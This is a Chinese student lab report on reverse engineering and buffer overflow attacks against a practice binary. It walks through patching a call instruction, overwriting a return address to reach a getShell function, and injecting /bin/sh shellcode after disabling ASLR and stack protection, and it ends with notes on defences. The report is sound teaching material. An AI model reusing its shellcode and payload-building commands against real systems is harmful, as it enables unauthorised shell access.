1.逆向及Bof基礎實踐說明
1.1 實踐目標
-
對象:pwn1(linux可執行文件)
- 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
-
目標:使程序執行另一個代碼片段:getshell
-
內容:
- 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
- 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
- 注入一個自己制作的shellcode並運行這段shellcode。
-
現實情況中的攻擊目標:
- 運行原本不可訪問的代碼片段
- 強行修改程序執行流
- 注入運行任意代碼
1.2 基礎知識
- 熟悉Linux基本操作
- 能看懂常用指令,如管道(|),輸入、輸出重定向(>)等。
- 理解Bof的原理。
- 能看得懂匯編、機器指令、EIP、指令地址。
- 會使用gdb,vi。
2.直接修改程序機器指令,改變程序執行流程
-
知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反匯編指令objdump,十六進制編輯工具
-
學習目標:理解可執行文件與機器指令
-
進階:掌握ELF文件格式,掌握動態技術
2.1 反匯編查看函數地址
-
對
pwn1文件進行反匯編,會得到如下結果

-
圖中080484b5中的指令為
call 8048491- 是說這條指令將調用位於地址8048491處的foo函數;
- 其對應機器指令為“e8 d7ffffff”,e8即跳轉之意。
- 本來正常流程,此時此刻EIP的值應該是下條指令的地址,即80484ba,但如一解釋e8這條指令呢,CPU就會轉而執行 “EIP + d7ffffff”這個位置的指令。“d7ffffff”是補碼,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491這個值.

2.2 在vim中修改地址,反匯編查看結果
-
main函數調用foo,對應機器指令為“e8 d7ffffff”,
- 那我們想讓它調用getShell,只要修改“d7ffffff”為,"getShell-80484ba"對應的補碼就行。
- 用Windows計算器,直接 47d-4ba就能得到補碼,是c3ffffff。
-
首先發現直接使用vim打開pwn1文件是亂碼

-
接下來執行如下操作(以
$后的命令為主)
kali@20175215dwt:~/Exp1$ cp pwn1 pwn2
kali@20175215dwt:~/Exp1$ vi pwn2
-
以下操作是在vi內
- 1.按ESC鍵
- 2.輸入以下,將顯示模式切換為16進制模式:
:%!xxd - 3.查找要修改的內容:
/d7ff(老師使用的是/e8d7,但我使用/e8d7查找不到) - 4.找到后前后的內容和反匯編的對比下,確認是地方是正確的
- 5.修改d7為c3
- 6.轉換16進制為原格式:
:%!xxd -r - 7.存盤退出vi:
:wq
-
修改成功后再使用反匯編查看call指令是否正確調用getShell

-
之后運行改后的代碼,會得到shell提示符
#

3.通過構造輸入參數,造成BOF攻擊,改變程序執行流
- 知識要求:堆棧結構,返回地址
- 學習目標:理解攻擊緩沖區的結果,掌握返回地址的獲取
- 進階:掌握ELF文件格式,掌握動態技術
3.1反匯編,了解程序的基本功能

- 這里讀入字符串,但系統只預留了28字節的緩沖區

- 上面的call調用foo,同時在堆棧上壓上返回地址值:80484ba
3.2確認輸入字符串哪幾個字符會覆蓋到返回地址
-
用
gdb 20175215pwn1調試程序,輸入有規律的字符串如1111111122222222333333334444444412345678,發生段錯誤產生溢出

-
使用
info r查看寄存器eip的值,發現輸入的1234被覆蓋到堆棧上的返回地址,接下來我們就要把字符串中會覆蓋EIP的字符替換成getShell的地址。

3.3 確認用什么值來覆蓋返回地址
- 於是我們將getShell的地址
0x0804847d把后面的數值替換,即是輸入11111111222222223333333344444444\x7d\x84\x04\x08
3.4 構造輸入字符串
-
由為我們沒法通過鍵盤輸入
\x7d\x84\x04\x08這樣的16進制值,所以先生成包括這樣字符串的一個文件。\x0a表示回車,如果沒有的話,在程序運行時就需要手工按一下回車鍵。 -
於是我們通過輸入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input來生成這樣的文件。然后使用vim查看input文件的內容是否如預期。

- 通過管道符
|,將input文件作為pwn1的輸入。(不知道是什么原因,input里輸入的東西沒顯示出來,但不影響正常使用)

4. 注入Shellcode並執行
4.1 准備一段Shellcode
- shellcode就是一段機器指令(code)
- 通常這段機器指令的目的是為獲取一個交互式的shell(像linux的shell或類似windows下的cmd.exe),所以這段機器指令被稱為shellcode。
- 在實際的應用中,凡是用來注入的機器指令段都通稱為shellcode,像添加一個用戶、運行一條指令。
- 實踐采用老師推薦的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
4.2 准備工作
-
先利用
apt-get install execstack命令安裝execstack軟件包

-
然后執行如下命令(以
#后的命令為准)
root@20175215dwt:/home/kali/Exp1# execstack -s pwn1 //設置堆棧可執行
root@20175215dwt:/home/kali/Exp1# execstack -q pwn1 //查詢文件的堆棧是否可執行
X pwn1
root@20175215dwt:/home/kali/Exp1# more /proc/sys/kernel/randomize_va_space
2
root@20175215dwt:/home/kali/Exp1# echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
root@20175215dwt:/home/kali/Exp1# more /proc/sys/kernel/randomize_va_space
0
4.3.1 構造要注入的payload
-
Linux下有兩種基本構造攻擊buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
-
因為retaddr在緩沖區的位置是固定的,shellcode要不在它前面,要不在它后面。
-
簡單說緩沖區小就把shellcode放后邊,緩沖區大就把shellcode放前邊
-
我們這個buf夠放這個shellcode了
-
結構為:nops+shellcode+retaddr。
- nop一為是了填充,二是作為“着陸區/滑行區”。
- 我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。
-
然后我們使用
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode命令,再打開一個終端注入這段攻擊buf((cat input_shellcode;cat) | ./pwn1) -
再開另外一個終端,用gdb來調試pwn1這個進程。
-
1.找到pwn1的進程號是:4430

-
2.啟動gdb調試這個進程

-
3.通過設置斷點,來查看注入buf的內存地址(這里是坑,看我博客的同學想踩坑看老師的指導書就行了,不用看我的)

-
4.將返回地址改為0xffffd6d0

修改錯誤。 -
5.查找原因。同上面步驟運行,gdb調試。

看起來buf沒什么問題。

發現有問題,應該換一種方法。
4.3.2 構造要注入的payload(Restart)
- 結構為:anything+retaddr+nops+shellcode。
- 看到01020304了,就是返回地址的位置。shellcode就挨着,所以地址是0xffffd6f0

-
最后輸入自己找到的地址的位置,注入之后就成功了。

-
以上實踐是在非常簡單的一個預設條件下完成的:
- (1)關閉堆棧保護(gcc -fno-stack-protector)
- (2)關閉堆棧執行保護(execstack -s)
- (3)關閉地址隨機化 (/proc/sys/kernel/randomize_va_space=0)
- (4)在x32環境下
- (5)在Linux實踐環境
4.5 結合nc模擬遠程攻擊
-
在一台機器上的實驗結果

-
兩台機器上的實驗尚未完成,一直沒找到什么原因主機1一直出現似乎是端口的問題。

*5. Bof攻擊防御技術
5.1. 從防止注入的角度。
在編譯時,編譯器在每次函數調用前后都加入一定的代碼,用來設置和檢測堆棧上設置的特定數字,以確認是否有bof攻擊發生。
5.2 注入入了也不讓運行

5.3 增加shellcode的構造難度
shellcode中需要猜測返回地址的位置,需要猜測shellcode注入后的內存位置。這些都極度依賴一個事實:應用的代碼段、堆棧段每次都被OS放置到固定的內存地址。ALSR,地址隨機化就是讓OS每次都用不同的地址加載應用。這樣通過預先反匯編或調試得到的那些地址就都不正確了。
- /proc/sys/kernel/randomize_va_space用於控制Linux下 內存地址隨機化機制(address space layout randomization),有以下三種情況
- 0 - 表示關閉進程地址空間隨機化。
- 1 - 表示將mmap的基址,stack和vdso頁面隨機化。
- 2 - 表示在1的基礎上增加棧(heap)的隨機化。

5.4 從管理的角度
加強編碼質量。注意邊界檢測。使用最新的安全的庫函數。
SP.實驗中碰到的問題
1.查找出現的問題
- 老師的實驗指導書中使用
/e8d7查找內容,但不知道為什么,我使用16進制打開的vim中無法使用這個關鍵字查找到制定內容,於是我轉變思路,使用/d7ff找到了我要修改的內容

2.構造要注入的payload與老師不同出現的問題
-
一開始使用的指導書中的內容,死板的輸入,出現如下的問題
-
4.將返回地址改為0xffffd300

修改錯誤。 -
5.查找原因。同上面步驟運行,gdb調試。

做到這里程序完全崩了。 -
最后結合自己電腦的內存地址,靈活運用,最后完成了第四部分的實驗。
SP2.回答老師的問題
1. 實驗收獲與感想
以前的做的一些無論是C語言,java,抑或是信息系統安全設計基礎的實驗,基本都是可以死板的按照老師的實驗指導來做,就算了解了基本原理也只能解決一些出現的小問題,而這次我自主做實驗,參考了很多學長的博客,但最后卻還是靠自己總結的內容去做的實驗,還有一個就是要看清老師的實驗要求,因為文件名沒加上學號我又得重新截一遍圖了(手動捂臉)。
2. 什么是漏洞?漏洞有什么危害?
- 本次實驗的漏洞實在軟件的實現上存在缺陷,可以使攻擊者在未授權的情況下訪問或者破壞系統。
- 漏洞的出現能使一些本來能正常運行的軟硬件出現使用的問題,影響到人們正常的工作學習。
SP3.參考資料
1.20154312曾林 - Exp1 PC平台逆向破解
2.2018-2019-2 20165317《網絡對抗技術》Exp1 PC平台逆向破解
3.0x11_MAL_逆向與Bof基礎.md
